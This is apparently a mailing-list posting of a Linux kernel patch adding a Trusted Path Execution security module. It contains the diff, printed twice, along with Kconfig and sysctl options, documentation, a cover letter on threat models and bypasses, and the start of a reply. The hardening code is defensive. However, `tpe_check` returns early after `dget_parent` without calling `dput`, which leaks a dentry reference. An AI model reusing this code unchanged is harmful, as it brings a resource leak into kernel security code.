--- a/MAINTAINERS
+++ b/MAINTAINERS
@@ -11574,6 +11574,11 @@ T:	git git://git.kernel.org/pub/scm/linux/kernel/git/kees/linux.git yama/tip
 S:	Supported
 F:	security/yama/
 
+TPE SECURITY MODULE
+M:	Matt Brown <matt@nmatt.com>
+S:	Supported
+F:	security/tpe/
+
 SENSABLE PHANTOM
 M:	Jiri Slaby <jirislaby@gmail.com>
 S:	Maintained
diff --git a/include/linux/lsm_hooks.h b/include/linux/lsm_hooks.h
index 080f34e..4c165ce 100644
--- a/include/linux/lsm_hooks.h
+++ b/include/linux/lsm_hooks.h
@@ -1946,5 +1946,10 @@ void __init loadpin_add_hooks(void);
 #else
 static inline void loadpin_add_hooks(void) { };
 #endif
+#ifdef CONFIG_SECURITY_TPE
+void __init tpe_add_hooks(void);
+#else
+static inline void tpe_add_hooks(void) { };
+#endif
 
 #endif /* ! __LINUX_LSM_HOOKS_H */
diff --git a/security/Kconfig b/security/Kconfig
index bdcbb92..58c4216 100644
--- a/security/Kconfig
+++ b/security/Kconfig
@@ -195,6 +195,7 @@ source security/tomoyo/Kconfig
 source security/apparmor/Kconfig
 source security/loadpin/Kconfig
 source security/yama/Kconfig
+source security/tpe/Kconfig
 
 source security/integrity/Kconfig
 
diff --git a/security/Makefile b/security/Makefile
index f2d71cd..f8b5197 100644
--- a/security/Makefile
+++ b/security/Makefile
@@ -9,6 +9,7 @@ subdir-$(CONFIG_SECURITY_TOMOYO)        += tomoyo
 subdir-$(CONFIG_SECURITY_APPARMOR)	+= apparmor
 subdir-$(CONFIG_SECURITY_YAMA)		+= yama
 subdir-$(CONFIG_SECURITY_LOADPIN)	+= loadpin
+subdir-$(CONFIG_SECURITY_TPE)		+= tpe
 
 # always enable default capabilities
 obj-y					+= commoncap.o
@@ -24,6 +25,7 @@ obj-$(CONFIG_SECURITY_TOMOYO)		+= tomoyo/
 obj-$(CONFIG_SECURITY_APPARMOR)		+= apparmor/
 obj-$(CONFIG_SECURITY_YAMA)		+= yama/
 obj-$(CONFIG_SECURITY_LOADPIN)		+= loadpin/
+obj-$(CONFIG_SECURITY_TPE)		+= tpe/
 obj-$(CONFIG_CGROUP_DEVICE)		+= device_cgroup.o
 
 # Object integrity file lists
diff --git a/security/security.c b/security/security.c
index 38316bb..36137a3 100644
--- a/security/security.c
+++ b/security/security.c
@@ -70,6 +70,7 @@ int __init security_init(void)
 	capability_add_hooks();
 	yama_add_hooks();
 	loadpin_add_hooks();
+	tpe_add_hooks();
 
 	/*
 	 * Load all the remaining security modules.
diff --git a/security/tpe/Kconfig b/security/tpe/Kconfig
new file mode 100644
index 0000000..a1b8f17
--- /dev/null
+++ b/security/tpe/Kconfig
@@ -0,0 +1,64 @@
+config SECURITY_TPE
+	bool "Trusted Path Execution (TPE)"
+	default n
+	help
+	  If you say Y here, you will be able to choose a gid to add to the
+	  supplementary groups of users you want to mark as "trusted."
+	  Untrusted users will not be able to execute any files that are not in
+	  root-owned directories writable only by root.  If the sysctl option
+	  is enabled, a sysctl option with name "tpe.enabled" is created.
+
+config SECURITY_TPE_GID
+	int
+	default SECURITY_TPE_TRUSTED_GID if (SECURITY_TPE && !SECURITY_TPE_INVERT_GID)
+	default SECURITY_TPE_UNTRUSTED_GID if (SECURITY_TPE && SECURITY_TPE_INVERT_GID)
+
+config SECURITY_TPE_TRUSTED_GID
+	int "GID for TPE-trusted users"
+	depends on SECURITY_TPE && !SECURITY_TPE_INVERT_GID
+	default 0
+	help
+	  Setting this GID determines what group TPE restrictions will be
+	  *disabled* for. If the sysctl option is enabled, a sysctl option
+	  with name "tpe.gid" is created.
+
+config SECURITY_TPE_UNTRUSTED_GID
+	int "GID for TPE-untrusted users"
+	depends on SECURITY_TPE && SECURITY_TPE_INVERT_GID
+	default 0
+	help
+	  Setting this GID determines what group TPE restrictions will be
+	  *enabled* for. If the sysctl option is enabled, a sysctl option
+	  with name "tpe.gid" is created.
+
+config SECURITY_TPE_INVERT_GID
+	bool "Invert GID option"
+	depends on SECURITY_TPE
+	help
+	  If you say Y here, the group you specify in the TPE configuration will
+	  decide what group TPE restrictions will be *enabled* for.  This
+	  option is useful if you want TPE restrictions to be restricted to a
+	  small subset of users. If the sysctl option is enabled, a sysctl option
+	  with name "tpe.invert_gid" is created.
+
+config SECURITY_TPE_STRICT
+	bool "Partially restrict all non-root users"
+	depends on SECURITY_TPE
+	help
+	  If you say Y here, all non-root users will be covered under
+	  a weaker TPE restriction.  This is separate from, and in addition to,
+	  the main TPE options that you have selected elsewhere.  Thus, if a
+	  "trusted" GID is chosen, this restriction applies to even that GID.
+	  Under this restriction, all non-root users will only be allowed to
+	  execute files in directories they own that are not group or
+	  world-writable, or in directories owned by root and writable only by
+	  root.  If the sysctl option is enabled, a sysctl option with name
+	  "tpe.strict" is created.
+
+config SECURITY_TPE_RESTRICT_ROOT
+	bool "Restrict root"
+	depends on SECURITY_TPE
+	help
+	  If you say Y here, root will be marked as untrusted. This will require
+	  root to pass all the same checks as any other untrusted user.
+
diff --git a/security/tpe/Makefile b/security/tpe/Makefile
new file mode 100644
index 0000000..e1bd8ef
--- /dev/null
+++ b/security/tpe/Makefile
@@ -0,0 +1,3 @@
+obj-$(CONFIG_SECURITY_TPE) := tpe_lsm.o
+
+tpe-y := tpe_lsm.o
diff --git a/security/tpe/tpe_lsm.c b/security/tpe/tpe_lsm.c
new file mode 100644
index 0000000..fda811a
--- /dev/null
+++ b/security/tpe/tpe_lsm.c
@@ -0,0 +1,218 @@
+/*
+ * Trusted Path Execution Security Module
+ *
+ * Copyright (C) 2017 Matt Brown
+ * Copyright (C) 2001-2014 Bradley Spengler, Open Source Security, Inc.
+ * http://www.grsecurity.net spender@grsecurity.net
+ * Copyright (C) 2011 Corey Henderson
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License version 2
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ */
+#include <linux/kernel.h>
+#include <linux/uidgid.h>
+#include <linux/ratelimit.h>
+#include <linux/limits.h>
+#include <linux/cred.h>
+#include <linux/slab.h>
+#include <linux/lsm_hooks.h>
+#include <linux/sysctl.h>
+#include <linux/binfmts.h>
+#include <linux/string_helpers.h>
+#include <linux/dcache.h>
+#include <uapi/asm-generic/mman-common.h>
+
+#define global_root(x) uid_eq((x), GLOBAL_ROOT_UID)
+#define global_nonroot(x) (!uid_eq((x), GLOBAL_ROOT_UID))
+#define global_root_gid(x) (gid_eq((x), GLOBAL_ROOT_GID))
+#define global_nonroot_gid(x) (!gid_eq((x), GLOBAL_ROOT_GID))
+
+static int tpe_enabled __read_mostly = IS_ENABLED(CONFIG_SECURITY_TPE);
+static kgid_t tpe_gid __read_mostly = KGIDT_INIT(CONFIG_SECURITY_TPE_GID);
+static int tpe_invert_gid __read_mostly =
+	IS_ENABLED(CONFIG_SECURITY_TPE_INVERT_GID);
+static int tpe_strict __read_mostly = IS_ENABLED(CONFIG_SECURITY_TPE_STRICT);
+static int tpe_restrict_root __read_mostly =
+	IS_ENABLED(CONFIG_SECURITY_TPE_RESTRICT_ROOT);
+
+int print_tpe_error(struct file *file, char *reason1, char *reason2,
+	char *method)
+{
+	char *filepath;
+
+	filepath = kstrdup_quotable_file(file, GFP_KERNEL);
+
+	if (!filepath)
+		return -ENOMEM;
+
+	pr_warn_ratelimited("TPE: Denied %s of %s Reason: %s%s%s\n", method,
+		(IS_ERR(filepath) ? "failed fetching file path" : filepath),
+		reason1, reason2 ? " and " : "", reason2 ?: "");
+	kfree(filepath);
+	return -EPERM;
+}
+
+static int tpe_check(struct file *file, char *method)
+{
+	struct inode *inode;
+	struct inode *file_inode;
+	struct dentry *dir;
+	const struct cred *cred = current_cred();
+	char *reason1 = NULL;
+	char *reason2 = NULL;
+
+	dir = dget_parent(file->f_path.dentry);
+	inode = d_backing_inode(dir);
+	file_inode = d_backing_inode(file->f_path.dentry);
+
+	if (!tpe_enabled)
+		return 0;
+
+	/* never restrict root unless restrict_root sysctl is 1*/
+	if (global_root(cred->uid) && !tpe_restrict_root)
+		return 0;
+
+	if (!tpe_strict)
+		goto general_tpe_check;
+
+	/* TPE_STRICT: restrictions enforced even if the gid is trusted */
+	if (global_nonroot(inode->i_uid) && !uid_eq(inode->i_uid, cred->uid))
+		reason1 = "directory not owned by user";
+	else if (inode->i_mode & 0002)
+		reason1 = "file in world-writable directory";
+	else if ((inode->i_mode & 0020) && global_nonroot_gid(inode->i_gid))
+		reason1 = "file in group-writable directory";
+	else if (file_inode->i_mode & 0002)
+		reason1 = "file is world-writable";
+
+	if (reason1)
+		goto end;
+
+general_tpe_check:
+	/* determine if group is trusted */
+	if (global_root_gid(tpe_gid))
+		goto next_check;
+	if (!tpe_invert_gid && !in_group_p(tpe_gid))
+		reason2 = "not in trusted group";
+	else if (tpe_invert_gid && in_group_p(tpe_gid))
+		reason2 = "in untrusted group";
+	else
+		return 0;
+
+next_check:
+	/* main TPE checks */
+	if (global_nonroot(inode->i_uid))
+		reason1 = "file in non-root-owned directory";
+	else if (inode->i_mode & 0002)
+		reason1 = "file in world-writable directory";
+	else if ((inode->i_mode & 0020) && global_nonroot_gid(inode->i_gid))
+		reason1 = "file in group-writable directory";
+	else if (file_inode->i_mode & 0002)
+		reason1 = "file is world-writable";
+
+end:
+	dput(dir);
+	if (reason1)
+		return print_tpe_error(file, reason1, reason2, method);
+	else
+		return 0;
+}
+
+int tpe_mmap_file(struct file *file, unsigned long reqprot,
+	unsigned long prot, unsigned long flags)
+{
+	if (!file || !(prot & PROT_EXEC))
+		return 0;
+
+	return tpe_check(file, "mmap");
+}
+
+int tpe_file_mprotect(struct vm_area_struct *vma, unsigned long reqprot,
+	unsigned long prot)
+{
+	if (!vma->vm_file)
+		return 0;
+	return tpe_check(vma->vm_file, "mprotect");
+}
+
+static int tpe_bprm_set_creds(struct linux_binprm *bprm)
+{
+	if (!bprm->file)
+		return 0;
+	return tpe_check(bprm->file, "exec");
+
+}
+
+static struct security_hook_list tpe_hooks[] = {
+	LSM_HOOK_INIT(mmap_file, tpe_mmap_file),
+	LSM_HOOK_INIT(file_mprotect, tpe_file_mprotect),
+	LSM_HOOK_INIT(bprm_set_creds, tpe_bprm_set_creds),
+};
+
+#ifdef CONFIG_SYSCTL
+struct ctl_path tpe_sysctl_path[] = {
+	{ .procname = "kernel", },
+	{ .procname = "tpe", },
+	{ }
+};
+
+static struct ctl_table tpe_sysctl_table[] = {
+	{
+		.procname	= "enabled",
+		.data		= &tpe_enabled,
+		.maxlen		= sizeof(int),
+		.mode		= 0600,
+		.proc_handler	= proc_dointvec,
+	},
+	{
+		.procname	= "gid",
+		.data		= &tpe_gid,
+		.maxlen		= sizeof(int),
+		.mode		= 0600,
+		.proc_handler	= proc_dointvec,
+	},
+	{
+		.procname	= "invert_gid",
+		.data		= &tpe_invert_gid,
+		.maxlen		= sizeof(int),
+		.mode		= 0600,
+		.proc_handler	= proc_dointvec,
+	},
+	{
+		.procname	= "strict",
+		.data		= &tpe_strict,
+		.maxlen		= sizeof(int),
+		.mode		= 0600,
+		.proc_handler	= proc_dointvec,
+	},
+	{
+		.procname	= "restrict_root",
+		.data		= &tpe_restrict_root,
+		.maxlen		= sizeof(int),
+		.mode		= 0600,
+		.proc_handler	= proc_dointvec,
+	},
+	{ }
+};
+static void __init tpe_init_sysctl(void)
+{
+	if (!register_sysctl_paths(tpe_sysctl_path, tpe_sysctl_table))
+		panic("TPE: sysctl registration failed.\n");
+}
+#else
+static inline void tpe_init_sysctl(void) { }
+#endif /* CONFIG_SYSCTL */
+
+void __init tpe_add_hooks(void)
+{
+	pr_info("TPE: securing systems like it's 1998\n");
+	security_add_hooks(tpe_hooks, ARRAY_SIZE(tpe_hooks), "tpe");
+	tpe_init_sysctl();
+}
-- 
2.10.2

[PATCH v2 1/1] Add Trusted Path Execution as a stackable LSM

[Matt Brown]

This patch was modified from Brad Spengler's Trusted Path Execution (TPE)
feature. It also adds features and config options that were found in Corey
Henderson's tpe-lkm project.

Modifications from Brad Spengler's implementation of TPE were made to
turn it into a stackable LSM using the existing LSM hook bprm_set_creds.
Also, a new denial logging function was used to simplify printing messages
to the kernel log. Additionally, mmap and mprotect restrictions were
taken from Corey Henderson's tpe-lkm project and implemented using the
LSM hooks mmap_file and file_mprotect.

Trusted Path Execution is not a new idea:

http://phrack.org/issues/52/6.html#article

| A trusted path is one that is inside a root owned directory that
| is not group or world writable.  /bin, /usr/bin, /usr/local/bin, are
| (under normal circumstances) considered trusted.  Any non-root
| users home directory is not trusted, nor is /tmp.

To be clear, Trusted Path Execution is no replacement for a MAC system
like SELinux, SMACK, or AppArmor. This LSM is designed to be good enough
without requiring a userland utility to configure policies. The fact
that TPE only requires the user to turn on a few sysctl options lowers
the barrier to implementing a security framework substantially.

Threat Models:

1. Attacker on system executing exploit on system vulnerability

*  If attacker uses a binary as a part of their system exploit, TPE can
   frustrate their efforts

*  This protection can be more effective when an attacker does not yet
   have an interactive shell on a system

*  Issues:
   *  Can be bypassed by interpreted languages such as python. You can run
      malicious code by doing: python -c 'evil code'

2. Attacker on system replaces binary used by a privileged user with a
   malicious one

*  This situation arises when the administrator of a system leaves a
   binary as world writable.

*  TPE is very effective against this threat model

This Trusted Path Execution implementation introduces the following
Kconfig options and sysctls. The Kconfig text and sysctl options are
taken heavily from Brad Spengler's implementation. Some extra sysctl
options were taken from Corey Henderson's implementation.

CONFIG_SECURITY_TPE (sysctl=kernel.tpe.enabled)

default: n

This option enables Trusted Path Execution. TPE blocks *untrusted*
users from executing files that meet the following conditions:

* file is not in a root-owned directory
* file is writable by a user other than root

NOTE: By default root is not restricted by TPE.

CONFIG_SECURITY_TPE_GID (sysctl=kernel.tpe.gid)

default: 0

This option defines a group id that, by default, is the trusted group.
If a user is not trusted then it has the checks described in
CONFIG_SECURITY_TPE applied. Otherwise, the user is trusted and the
checks are not applied. You can disable the trusted gid option by
setting it to 0. This makes all non-root users untrusted.

CONFIG_SECURITY_TPE_STRICT (sysctl=kernel.tpe.strict)

default: n

This option applies another set of restrictions to all non-root users
even if they are trusted. This only allows execution under the
following conditions:

* file is in a directory owned by the user that is not group or
  world-writable
* file is in a directory owned by root and writable only by root

CONFIG_SECURITY_TPE_RESTRICT_ROOT (sysctl=kernel.tpe.restrict_root)

default: n

This option applies all enabled TPE restrictions to root.

CONFIG_SECURITY_TPE_INVERT_GID (sysctl=kernel.tpe.invert_gid)

default: n

This option reverses the trust logic of the gid option and makes
kernel.tpe.gid into the untrusted group. This means that all other groups
become trusted. This sysctl is helpful when you want TPE restrictions
to be limited to a small subset of users.

Signed-off-by: Matt Brown <matt@nmatt.com>
---
 Documentation/security/tpe.txt |  59 +++++++++++
 MAINTAINERS                    |   5 +
 include/linux/lsm_hooks.h      |   5 +
 security/Kconfig               |   1 +
 security/Makefile              |   2 +
 security/security.c            |   1 +
 security/tpe/Kconfig           |  64 ++++++++++++
 security/tpe/Makefile          |   3 +
 security/tpe/tpe_lsm.c         | 218 +++++++++++++++++++++++++++++++++++++++++
 9 files changed, 358 insertions(+)
 create mode 100644 Documentation/security/tpe.txt
 create mode 100644 security/tpe/Kconfig
 create mode 100644 security/tpe/Makefile
 create mode 100644 security/tpe/tpe_lsm.c

diff --git a/Documentation/security/tpe.txt b/Documentation/security/tpe.txt
new file mode 100644
index 0000000..226afcc
--- /dev/null
+++ b/Documentation/security/tpe.txt
@@ -0,0 +1,59 @@
+Trusted Path Execution is a Linux Security Module that generally requires
+programs to be run from a trusted path. A trusted path is one that is owned by
+root and is not group/world writable. This prevents an attacker from executing
+their own malicious binaries from an unprivileged user on the system. This
+feature is enabled with CONFIG_SECURITY_TPE. When enabled, a set of sysctls
+are created in /proc/sys/kernel/tpe.
+
+---------------------------------------------------------------------------
+
+Trusted Path Execution introduces the following Kconfig options and sysctls.
+
+CONFIG_SECURITY_TPE (sysctl=kernel.tpe.enabled)
+
+default: n
+
+This option enables Trusted Path Execution. TPE blocks *untrusted*
+users from executing files that meet the following conditions:
+
+* file is not in a root-owned directory
+* file is writable by a user other than root
+
+NOTE: By default root is not restricted by TPE.
+
+CONFIG_SECURITY_TPE_GID (sysctl=kernel.tpe.gid)
+
+default: 0
+
+This option defines a group id that, by default, is the trusted group.
+If a user is not trusted then it has the checks described in
+CONFIG_SECURITY_TPE applied. Otherwise, the user is trusted and the
+checks are not applied. You can disable the trusted gid option by
+setting it to 0. This makes all non-root users untrusted.
+
+CONFIG_SECURITY_TPE_STRICT (sysctl=kernel.tpe.strict)
+
+default: n
+
+This option applies another set of restrictions to all non-root users
+even if they are trusted. This only allows execution under the
+following conditions:
+
+* file is in a directory owned by the user that is not group or
+  world-writable
+* file is in a directory owned by root and writable only by root
+
+CONFIG_SECURITY_TPE_RESTRICT_ROOT (sysctl=kernel.tpe.restrict_root)
+
+default: n
+
+This option applies TPE restrictions to root.
+
+CONFIG_SECURITY_TPE_INVERT_GID (sysctl=kernel.tpe.invert_gid)
+
+default: n
+
+This option reverses the trust logic of the gid option and makes
+kernel.tpe.gid into the untrusted group. This means that all other groups
+become trusted. This sysctl is helpful when you want TPE restrictions
+to be limited to a small subset of users.
diff --git a/MAINTAINERS b/MAINTAINERS
index 9e98464..67e10c8 100644
--- a/MAINTAINERS
+++ b/MAINTAINERS
@@ -11574,6 +11574,11 @@ T:	git git://git.kernel.org/pub/scm/linux/kernel/git/kees/linux.git yama/tip
 S:	Supported
 F:	security/yama/
 
+TPE SECURITY MODULE
+M:	Matt Brown <matt@nmatt.com>
+S:	Supported
+F:	security/tpe/
+
 SENSABLE PHANTOM
 M:	Jiri Slaby <jirislaby@gmail.com>
 S:	Maintained
diff --git a/include/linux/lsm_hooks.h b/include/linux/lsm_hooks.h
index 080f34e..4c165ce 100644
--- a/include/linux/lsm_hooks.h
+++ b/include/linux/lsm_hooks.h
@@ -1946,5 +1946,10 @@ void __init loadpin_add_hooks(void);
 #else
 static inline void loadpin_add_hooks(void) { };
 #endif
+#ifdef CONFIG_SECURITY_TPE
+void __init tpe_add_hooks(void);
+#else
+static inline void tpe_add_hooks(void) { };
+#endif
 
 #endif /* ! __LINUX_LSM_HOOKS_H */
diff --git a/security/Kconfig b/security/Kconfig
index bdcbb92..58c4216 100644
--- a/security/Kconfig
+++ b/security/Kconfig
@@ -195,6 +195,7 @@ source security/tomoyo/Kconfig
 source security/apparmor/Kconfig
 source security/loadpin/Kconfig
 source security/yama/Kconfig
+source security/tpe/Kconfig
 
 source security/integrity/Kconfig
 
diff --git a/security/Makefile b/security/Makefile
index f2d71cd..f8b5197 100644
--- a/security/Makefile
+++ b/security/Makefile
@@ -9,6 +9,7 @@ subdir-$(CONFIG_SECURITY_TOMOYO)        += tomoyo
 subdir-$(CONFIG_SECURITY_APPARMOR)	+= apparmor
 subdir-$(CONFIG_SECURITY_YAMA)		+= yama
 subdir-$(CONFIG_SECURITY_LOADPIN)	+= loadpin
+subdir-$(CONFIG_SECURITY_TPE)		+= tpe
 
 # always enable default capabilities
 obj-y					+= commoncap.o
@@ -24,6 +25,7 @@ obj-$(CONFIG_SECURITY_TOMOYO)		+= tomoyo/
 obj-$(CONFIG_SECURITY_APPARMOR)		+= apparmor/
 obj-$(CONFIG_SECURITY_YAMA)		+= yama/
 obj-$(CONFIG_SECURITY_LOADPIN)		+= loadpin/
+obj-$(CONFIG_SECURITY_TPE)		+= tpe/
 obj-$(CONFIG_CGROUP_DEVICE)		+= device_cgroup.o
 
 # Object integrity file lists
diff --git a/security/security.c b/security/security.c
index 38316bb..36137a3 100644
--- a/security/security.c
+++ b/security/security.c
@@ -70,6 +70,7 @@ int __init security_init(void)
 	capability_add_hooks();
 	yama_add_hooks();
 	loadpin_add_hooks();
+	tpe_add_hooks();
 
 	/*
 	 * Load all the remaining security modules.
diff --git a/security/tpe/Kconfig b/security/tpe/Kconfig
new file mode 100644
index 0000000..a1b8f17
--- /dev/null
+++ b/security/tpe/Kconfig
@@ -0,0 +1,64 @@
+config SECURITY_TPE
+	bool "Trusted Path Execution (TPE)"
+	default n
+	help
+	  If you say Y here, you will be able to choose a gid to add to the
+	  supplementary groups of users you want to mark as "trusted."
+	  Untrusted users will not be able to execute any files that are not in
+	  root-owned directories writable only by root.  If the sysctl option
+	  is enabled, a sysctl option with name "tpe.enabled" is created.
+
+config SECURITY_TPE_GID
+	int
+	default SECURITY_TPE_TRUSTED_GID if (SECURITY_TPE && !SECURITY_TPE_INVERT_GID)
+	default SECURITY_TPE_UNTRUSTED_GID if (SECURITY_TPE && SECURITY_TPE_INVERT_GID)
+
+config SECURITY_TPE_TRUSTED_GID
+	int "GID for TPE-trusted users"
+	depends on SECURITY_TPE && !SECURITY_TPE_INVERT_GID
+	default 0
+	help
+	  Setting this GID determines what group TPE restrictions will be
+	  *disabled* for. If the sysctl option is enabled, a sysctl option
+	  with name "tpe.gid" is created.
+
+config SECURITY_TPE_UNTRUSTED_GID
+	int "GID for TPE-untrusted users"
+	depends on SECURITY_TPE && SECURITY_TPE_INVERT_GID
+	default 0
+	help
+	  Setting this GID determines what group TPE restrictions will be
+	  *enabled* for. If the sysctl option is enabled, a sysctl option
+	  with name "tpe.gid" is created.
+
+config SECURITY_TPE_INVERT_GID
+	bool "Invert GID option"
+	depends on SECURITY_TPE
+	help
+	  If you say Y here, the group you specify in the TPE configuration will
+	  decide what group TPE restrictions will be *enabled* for.  This
+	  option is useful if you want TPE restrictions to be restricted to a
+	  small subset of users. If the sysctl option is enabled, a sysctl option
+	  with name "tpe.invert_gid" is created.
+
+config SECURITY_TPE_STRICT
+	bool "Partially restrict all non-root users"
+	depends on SECURITY_TPE
+	help
+	  If you say Y here, all non-root users will be covered under
+	  a weaker TPE restriction.  This is separate from, and in addition to,
+	  the main TPE options that you have selected elsewhere.  Thus, if a
+	  "trusted" GID is chosen, this restriction applies to even that GID.
+	  Under this restriction, all non-root users will only be allowed to
+	  execute files in directories they own that are not group or
+	  world-writable, or in directories owned by root and writable only by
+	  root.  If the sysctl option is enabled, a sysctl option with name
+	  "tpe.strict" is created.
+
+config SECURITY_TPE_RESTRICT_ROOT
+	bool "Restrict root"
+	depends on SECURITY_TPE
+	help
+	  If you say Y here, root will be marked as untrusted. This will require
+	  root to pass all the same checks as any other untrusted user.
+
diff --git a/security/tpe/Makefile b/security/tpe/Makefile
new file mode 100644
index 0000000..e1bd8ef
--- /dev/null
+++ b/security/tpe/Makefile
@@ -0,0 +1,3 @@
+obj-$(CONFIG_SECURITY_TPE) := tpe_lsm.o
+
+tpe-y := tpe_lsm.o
diff --git a/security/tpe/tpe_lsm.c b/security/tpe/tpe_lsm.c
new file mode 100644
index 0000000..fda811a
--- /dev/null
+++ b/security/tpe/tpe_lsm.c
@@ -0,0 +1,218 @@
+/*
+ * Trusted Path Execution Security Module
+ *
+ * Copyright (C) 2017 Matt Brown
+ * Copyright (C) 2001-2014 Bradley Spengler, Open Source Security, Inc.
+ * http://www.grsecurity.net spender at grsecurity.net
+ * Copyright (C) 2011 Corey Henderson
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License version 2
+ * as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ */
+#include <linux/kernel.h>
+#include <linux/uidgid.h>
+#include <linux/ratelimit.h>
+#include <linux/limits.h>
+#include <linux/cred.h>
+#include <linux/slab.h>
+#include <linux/lsm_hooks.h>
+#include <linux/sysctl.h>
+#include <linux/binfmts.h>
+#include <linux/string_helpers.h>
+#include <linux/dcache.h>
+#include <uapi/asm-generic/mman-common.h>
+
+#define global_root(x) uid_eq((x), GLOBAL_ROOT_UID)
+#define global_nonroot(x) (!uid_eq((x), GLOBAL_ROOT_UID))
+#define global_root_gid(x) (gid_eq((x), GLOBAL_ROOT_GID))
+#define global_nonroot_gid(x) (!gid_eq((x), GLOBAL_ROOT_GID))
+
+static int tpe_enabled __read_mostly = IS_ENABLED(CONFIG_SECURITY_TPE);
+static kgid_t tpe_gid __read_mostly = KGIDT_INIT(CONFIG_SECURITY_TPE_GID);
+static int tpe_invert_gid __read_mostly =
+	IS_ENABLED(CONFIG_SECURITY_TPE_INVERT_GID);
+static int tpe_strict __read_mostly = IS_ENABLED(CONFIG_SECURITY_TPE_STRICT);
+static int tpe_restrict_root __read_mostly =
+	IS_ENABLED(CONFIG_SECURITY_TPE_RESTRICT_ROOT);
+
+int print_tpe_error(struct file *file, char *reason1, char *reason2,
+	char *method)
+{
+	char *filepath;
+
+	filepath = kstrdup_quotable_file(file, GFP_KERNEL);
+
+	if (!filepath)
+		return -ENOMEM;
+
+	pr_warn_ratelimited("TPE: Denied %s of %s Reason: %s%s%s\n", method,
+		(IS_ERR(filepath) ? "failed fetching file path" : filepath),
+		reason1, reason2 ? " and " : "", reason2 ?: "");
+	kfree(filepath);
+	return -EPERM;
+}
+
+static int tpe_check(struct file *file, char *method)
+{
+	struct inode *inode;
+	struct inode *file_inode;
+	struct dentry *dir;
+	const struct cred *cred = current_cred();
+	char *reason1 = NULL;
+	char *reason2 = NULL;
+
+	dir = dget_parent(file->f_path.dentry);
+	inode = d_backing_inode(dir);
+	file_inode = d_backing_inode(file->f_path.dentry);
+
+	if (!tpe_enabled)
+		return 0;
+
+	/* never restrict root unless restrict_root sysctl is 1*/
+	if (global_root(cred->uid) && !tpe_restrict_root)
+		return 0;
+
+	if (!tpe_strict)
+		goto general_tpe_check;
+
+	/* TPE_STRICT: restrictions enforced even if the gid is trusted */
+	if (global_nonroot(inode->i_uid) && !uid_eq(inode->i_uid, cred->uid))
+		reason1 = "directory not owned by user";
+	else if (inode->i_mode & 0002)
+		reason1 = "file in world-writable directory";
+	else if ((inode->i_mode & 0020) && global_nonroot_gid(inode->i_gid))
+		reason1 = "file in group-writable directory";
+	else if (file_inode->i_mode & 0002)
+		reason1 = "file is world-writable";
+
+	if (reason1)
+		goto end;
+
+general_tpe_check:
+	/* determine if group is trusted */
+	if (global_root_gid(tpe_gid))
+		goto next_check;
+	if (!tpe_invert_gid && !in_group_p(tpe_gid))
+		reason2 = "not in trusted group";
+	else if (tpe_invert_gid && in_group_p(tpe_gid))
+		reason2 = "in untrusted group";
+	else
+		return 0;
+
+next_check:
+	/* main TPE checks */
+	if (global_nonroot(inode->i_uid))
+		reason1 = "file in non-root-owned directory";
+	else if (inode->i_mode & 0002)
+		reason1 = "file in world-writable directory";
+	else if ((inode->i_mode & 0020) && global_nonroot_gid(inode->i_gid))
+		reason1 = "file in group-writable directory";
+	else if (file_inode->i_mode & 0002)
+		reason1 = "file is world-writable";
+
+end:
+	dput(dir);
+	if (reason1)
+		return print_tpe_error(file, reason1, reason2, method);
+	else
+		return 0;
+}
+
+int tpe_mmap_file(struct file *file, unsigned long reqprot,
+	unsigned long prot, unsigned long flags)
+{
+	if (!file || !(prot & PROT_EXEC))
+		return 0;
+
+	return tpe_check(file, "mmap");
+}
+
+int tpe_file_mprotect(struct vm_area_struct *vma, unsigned long reqprot,
+	unsigned long prot)
+{
+	if (!vma->vm_file)
+		return 0;
+	return tpe_check(vma->vm_file, "mprotect");
+}
+
+static int tpe_bprm_set_creds(struct linux_binprm *bprm)
+{
+	if (!bprm->file)
+		return 0;
+	return tpe_check(bprm->file, "exec");
+
+}
+
+static struct security_hook_list tpe_hooks[] = {
+	LSM_HOOK_INIT(mmap_file, tpe_mmap_file),
+	LSM_HOOK_INIT(file_mprotect, tpe_file_mprotect),
+	LSM_HOOK_INIT(bprm_set_creds, tpe_bprm_set_creds),
+};
+
+#ifdef CONFIG_SYSCTL
+struct ctl_path tpe_sysctl_path[] = {
+	{ .procname = "kernel", },
+	{ .procname = "tpe", },
+	{ }
+};
+
+static struct ctl_table tpe_sysctl_table[] = {
+	{
+		.procname	= "enabled",
+		.data		= &tpe_enabled,
+		.maxlen		= sizeof(int),
+		.mode		= 0600,
+		.proc_handler	= proc_dointvec,
+	},
+	{
+		.procname	= "gid",
+		.data		= &tpe_gid,
+		.maxlen		= sizeof(int),
+		.mode		= 0600,
+		.proc_handler	= proc_dointvec,
+	},
+	{
+		.procname	= "invert_gid",
+		.data		= &tpe_invert_gid,
+		.maxlen		= sizeof(int),
+		.mode		= 0600,
+		.proc_handler	= proc_dointvec,
+	},
+	{
+		.procname	= "strict",
+		.data		= &tpe_strict,
+		.maxlen		= sizeof(int),
+		.mode		= 0600,
+		.proc_handler	= proc_dointvec,
+	},
+	{
+		.procname	= "restrict_root",
+		.data		= &tpe_restrict_root,
+		.maxlen		= sizeof(int),
+		.mode		= 0600,
+		.proc_handler	= proc_dointvec,
+	},
+	{ }
+};
+static void __init tpe_init_sysctl(void)
+{
+	if (!register_sysctl_paths(tpe_sysctl_path, tpe_sysctl_table))
+		panic("TPE: sysctl registration failed.\n");
+}
+#else
+static inline void tpe_init_sysctl(void) { }
+#endif /* CONFIG_SYSCTL */
+
+void __init tpe_add_hooks(void)
+{
+	pr_info("TPE: securing systems like it's 1998\n");
+	security_add_hooks(tpe_hooks, ARRAY_SIZE(tpe_hooks), "tpe");
+	tpe_init_sysctl();
+}
-- 
2.10.2

--
To unsubscribe from this list: send the line "unsubscribe linux-security-module" in
the body of a message to majordomo at vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

Re: [kernel-hardening] [PATCH v2 1/1] Add Trusted Path Execution as a stackable LSM

[Solar Designer]

Matt,

